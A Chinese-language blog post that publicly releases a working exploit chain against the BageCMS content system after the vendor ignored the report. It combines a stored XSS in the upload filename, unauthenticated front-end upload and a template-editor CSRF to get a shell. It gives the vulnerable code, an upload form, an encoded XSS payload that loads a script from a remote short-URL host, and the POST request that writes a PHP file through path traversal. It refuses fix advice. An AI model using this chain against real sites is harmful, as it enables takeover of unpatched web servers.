八月末看了蘑菇在KCON演讲的PPT,感觉有了很多新思路。刚好上个月一直在做Yii相关的开发工作,下了一套基于Yii1的CMS(bagecms),就顺手对它简单分析了下,结果在附件上传的位置发现了一枚存储型XSS,同时由于这个CMS还存在前台文件上传和CSRF写文件的问题,于是可以用XSS直接getshell。
乌云:http://wooyun.org/bugs/wooyun-2014-074109
发到wooyun后,我当时没贴xss getshell的部分,后来修改了下,但是貌似wooyun对修改漏洞细节的审核优先级不高,一直没给通过。
结果没过几天,丫居然给我忽略了。
我当时异常愤怒,我认为我的付出没有得到尊重。后几经周折联系到了开发者曙光,结果他一句“最近忙没有上线处理”就结束了。至今也没有去wooyun做厂商回复,同时他的官网也没有更新补丁,连demo网站的xss居然也还在。
OK,那就放出exp。
0x01 漏洞分析
1、上传文件的原始名称未处理入库,导致存储型XSS。
上传文件的原始文件名作为real_name存入数据库,并在后台附件管理部分显示出来。只要在修改原始文件名为payload就可以了。
原来想的是改文件名,其实是看了 @Evi1m0 在kcon的PPT,这PPT给了我很大启发:
https://github.com/knownsec/KCon/blob/master/KCon V3/去年跨过的客户端.pptx
确实很猥琐,也很有效。
但本例没有那么复杂,因为是http协议,与ppt中的场景不一样,这里很简单直接截包修改即可。
表单的action是post/upload,其实任意前台controller/upload都可以上传成功。同时由于这个位置长度有255,可以随意发挥。后台浏览附件列表时候即触发XSS。
2、前台文件上传
单看前面那个xss,是比较鸡肋的,因为需要后台的上传权限。不过得益于bagecms奇葩的架构,可以从前台任意controller发起upload的action,达到上传文件的目的。
在bagecms中,所有的controller都继承自components/Controller,而这个Controller有一个actionUpload,负责文件上传,由于components/Controller是所有controller的基类,所以在前台controller也可以直接上传文件。
文件上传使用的XUpload::upload函数,里面调用了ThinkPHP的上传类,这个类默认只能上传图片文件,非常可惜,要不就是一个前台任意文件上传了。
3、编辑文件CSRF,可以直接getshell。
bagecms后台提供一个非常奇葩的编辑模板功能,这个功能没有验证码,没有csrf token。别扯淡说开启Yii自带的csrf,你试试开启后编辑器的文件上传等功能还能正常用吗?即便开启了,也可以用js获取。
/** * 创建文件 * */ public function actionCreateTpl() { parent::_acl('template_create'); parent::_configParams(array('action'=>'allowTplOperate', 'val'=>'Y', 'message'=>'当前配置文件不允许创建或编辑模板,请在 protected/config/params.php 中配置 allowTplOperate 为 Y')); $folderName = trim( $this->_gets->getParam( 'folderName' ) ); if ( $_POST ) { try { $fileName = trim( $this->_gets->getParam( 'fileName' ) ); $content = trim( $this->_gets->getParam( 'content' ) ); if ( empty( $folderName ) ) throw new Exception( '必须指定文件夹' ); elseif ( empty( $fileName ) ) throw new Exception( "文件名必须填写" ); elseif ( empty( $content ) ) throw new Exception( "文内容必须填写" ); $newFile = $this->_themePath.DS.'views'.DS.$folderName.DS.$fileName.'.php'; if ( is_file( $newFile ) ) throw new Exception( '文件 '.$fileName.' 已经存在 '. $folderName.'文件夹中' ); $hander = file_put_contents( $newFile, $content ); if ( $hander ) { XUtils::message( 'success', '文件 '.$fileName.' 创建成功', $this->createUrl( 'index' ) ); }else { throw new Exception( '文件创建失败' ); } } catch ( Exception $e ) { XUtils::message( 'error', $e->getMessage() ); } } $data['folderName'] = $folderName; $this->render( 'create', $data ); }
其中$this->_gets是在基类中封装了的CHttpRequest。可以看到几乎是一个get型的csrf,不过使用了if($_POST) 来要求post提交。只需要提交fileName(保存文件名)、folderName(保存文件夹,可以使用../跳转)、content(保存内容,直接写shell)即可,整个写文件过程没有经过任何安全校验,直接写入文件。
0x02 利用方法与exp
1、构造上传表单。
<html> <header> <meta charset="utf-8"> <title>bagecms 前台文件上传</title> </header> <body> <form action="目标网站/index.php?r=site/upload" method="post" enctype="multipart/form-data"> <input type="file" name="imgFile"> <input type="submit"> </form> </body> </html>
2、抓包,修改上传文件名。
这里需要注意的是,文件在上传的时候会把 / 作为路径处理,无法闭合标签,所以只能用一些自闭和的标签,同时http://之类的网址也不能使用,因此必须使用eval(String.fromCharCode())来避免使用特殊符号。
比如我的路径是http://www.crazydb.com/poc/getshell.js,先使用短网址变成http://to.ly/Fplg,然后将payload编码。
编码前 1<img src=a onerror=eval(document.wirte('<script src="http://to.ly/Fplg"></script>'))>.png 编码后 1<img src=a onerror=eval(document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,111,46,108,121,47,70,112,108,103,62,60,47,115,99,114,105,112,116,62)))>.png
当管理员查看附件的时候,就会触发xss,载入远程getshell.js脚本,这个脚本内容如下:
$.post( 'http://demo/bg/index.php?r=admini/template/createTpl&folderName=_include', { fileName:'i', content:'<?php phpinfo();' } );
脚本发起post请求,在目标网站/themes/default/views/_include/文件夹下创建了一个i.php文件,getshell成功。
shell地址:目标网站/themes/default/views/_include/i.php。注意这里的文件夹名称还支持../跳转,后边你懂的。
0x03 修复建议
都特么忽略了还修复个毛!
留言交流